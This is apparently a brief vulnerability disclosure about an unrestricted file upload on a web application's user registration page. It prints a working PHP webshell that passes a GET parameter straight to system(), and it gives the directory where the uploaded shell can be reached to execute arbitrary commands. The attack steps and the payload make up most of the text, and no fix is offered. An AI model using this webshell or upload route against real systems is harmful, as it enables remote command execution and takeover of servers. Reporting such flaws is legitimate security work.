File upload command execution at User registration page

[395738382]

In the user registration page of the v1 version of the site, you can upload the PHP Trojan file at the same interface where you uploaded the image, so that you can execute any command



The webshell contents are as follows:

<?php
system($_GET['cmd']);
?>

You can then access the webshell in the /eco-master/customer/customer_images path and execute any command